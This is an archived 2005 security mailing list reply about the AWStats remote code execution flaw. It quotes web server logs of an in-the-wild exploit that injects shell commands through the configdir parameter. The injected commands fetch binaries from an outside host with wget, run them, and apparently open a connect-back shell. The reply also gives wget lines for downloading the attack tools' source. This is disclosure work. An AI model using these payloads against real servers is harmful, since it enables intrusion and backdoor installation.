bugtraq - Re: [ GLSA 200501-36 ] AWStats: Remote code execution

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]

Message-ID: <41F92732.7080600@yahoo.com.br>
Date: Thu, 27 Jan 2005 15:38:58 -0200
From: "Joao Victor A. Di Stasi" <jvictor_rj@...oo.com.br>
To: Delian Krustev <krustev@...stev.net>
Cc: security-alerts@...uxsecurity.com, bugtraq@...urityfocus.com,
        full-disclosure@...ts.netsys.com
Subject: Re: [ GLSA 200501-36 ] AWStats: Remote code
	execution


Delian Krustev wrote:

>There's an exploit in the wild. Here's what it does:
>
>200.96.166.252 - - [26/Jan/2005:06:32:00 +0000] "GET /cgi-bin/awstats/awstats.pl?configdir=|cd%20/tmp;wget%20http://www.nokiacentrum.cz/dcha0s/cgi;ls%20-la%20cgi;chmod%20777%20cgi;./cgi;%00 HTTP/1.1" 200 538 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
>200.96.166.252 - - [26/Jan/2005:06:34:30 +0000] "GET /cgi-bin/awstats/awstats.pl?configdir=|cd%20/tmp;wget%20http://www.nokiacentrum.cz/dcha0s/dc;chmod%20777%20dc;./dc%20cyber.yar.ru%208080;%00 HTTP/1.1" 200 554 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
>
>I don't have the time to investigate the "cgi" and "dc" binaries.
>The "cgi" at least tries to daemonize and opens a TCP listening socket.
>They also try to replace the index page on the vulnerable site.
>
>  
>
In the same site you can download :

wget http://www.nokiacentrum.cz/dcha0s/dc.c
wget http://www.nokiacentrum.cz/dcha0s/cgi.c


_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html